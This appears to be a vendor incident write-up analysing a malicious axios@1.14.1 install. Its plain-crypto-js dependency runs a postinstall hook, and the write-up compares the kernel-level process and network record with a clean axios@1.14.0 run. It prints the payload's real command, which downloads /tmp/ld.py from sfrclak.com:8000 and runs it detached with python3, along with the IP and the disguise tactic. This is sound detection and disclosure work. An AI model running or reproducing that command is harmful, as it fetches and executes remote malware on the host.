npm install axios@1.14.1 in jadoonf/npm-analysis-feed, run 23778294353. The install exited normally; the record shows it resolved plain-crypto-js@4.2.1, executed setup.js, and reached sfrclak.com:8000 before the step ended. On-disk evidence was rewritten on exit, so the kernel record is what survives.Public reporting documents the technique — published axios@1.14.1 resolved a malicious plain-crypto-js dependency whose postinstall hook ran a small payload, then deleted itself and rewrote package.json to a clean stub (StepSecurity). The run below installed the package on a Garnet-instrumented runner; the focus from here is what the record contains.
Execution lineage
Run 23778294353 · jadoonf/npm-analysis-feed
Axios & plain-crypto-js supply chain investigation
The lineage in the embed shows what npm install axios@1.14.1 did at the kernel level. npm resolved plain-crypto-js@4.2.1 as a dependency and ran its postinstall hook (sh → sh -c node setup.js), and from setup.js a shell ran a curl and staged a Python second stage. One destination on that ancestry is flagged: sfrclak.com at 142.11.206.73.
Assertions flagged
| Check (class) | Granular id | Result | Evidence |
|---|---|---|---|
| Network egress | no_bad_egress_domain | fail | The postinstall chain reached sfrclak.com:8000 (142.11.206.73), a destination not on the registry path. |
The other run in the comparison sweep — axios@1.14.0 — cleared the same check.
What was observed
Process ancestry. The postinstall hook on the resolved plain-crypto-js@4.2.1 package crossed from npm into a shell, then into Node executing setup.js, then into a second shell that ran curl and python3. The full chain — node — npm → sh → sh -c node setup.js → node — setup.js → sh — curl → sfrclak.com:8000 && python3 /tmp/ld.py — is visible in the embedded lineage. On the same ancestry the record carries interpreter_shell_spawn (a language interpreter spawning a shell), exec_from_unusual_dir (setup.js executed from a transient postinstall path under the resolved package), and code_on_the_fly (python3 running /tmp/ld.py staged at runtime).
Network. The flagged destination is sfrclak.com (142.11.206.73) over TCP, reached by the curl step under setup.js. The expected registry destination (registry.npmjs.org) is also present on the npm parent. The curl invocation observed:
curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.pyThe -d packages.npm.org/product2 POST body was shaped to blend with npm traffic at the HTTP layer; the record's destination — sfrclak.com at 142.11.206.73, flagged on the egress check — exposes the disguise. nohup ran the Python stage detached so it could survive the postinstall hook completing.
File / memory access. The record carries the exec_from_unusual_dir signal on setup.js and the subsequent execution of /tmp/ld.py from the same ancestry; on-disk traces of either were not preserved post-run (per public reporting, setup.js removed itself and package.json was rewritten to a clean stub).
Notable absences. No binary_self_deletion recorded at the kernel layer (the on-disk rewrite is a filesystem operation, not an exec-and-delete pattern). No outbound from python3 to a non-sfrclak.com destination before the workflow step closed — the record covers the staging call but not the follow-on traffic from the detached interpreter.
What changed between runs
The clean comparator is axios@1.14.0 from the same sweep, run on the same runner image with the same command.
axios@1.14.0 (clean) | axios@1.14.1 (this run) | |
|---|---|---|
| Dependency chain | No malicious postinstall | Resolves plain-crypto-js@4.2.1 → setup.js |
| Process lineage | npm install → node and stop | npm → sh → node setup.js → sh → curl + python3 |
| Network (observed) | registry.npmjs.org | Registry + sfrclak.com:8000 (142.11.206.73) |
| File / exec signals on the ancestry | None | interpreter_shell_spawn, exec_from_unusual_dir, code_on_the_fly |
no_bad_egress_domain | pass | fail |
| Evidence on disk after run | Normal package tree | Rewritten on exit per public reporting |
Analysis
The interesting property of this record is that two installs with the same top-level command produced different runtime shapes, and the divergence happens inside a dependency's postinstall hook that rewrites itself on exit. The lineage, the flagged destination, and the per-process signals stay in the kernel record after the on-disk evidence is gone.
Garnet records process ancestry, file access, and network egress straight from the kernel for every workflow run by the Garnet GitHub Action. One record per run, durable even when on-disk artifacts vanish.
More field notes: TanStack runtime profiles · LiteLLM · Telnyx.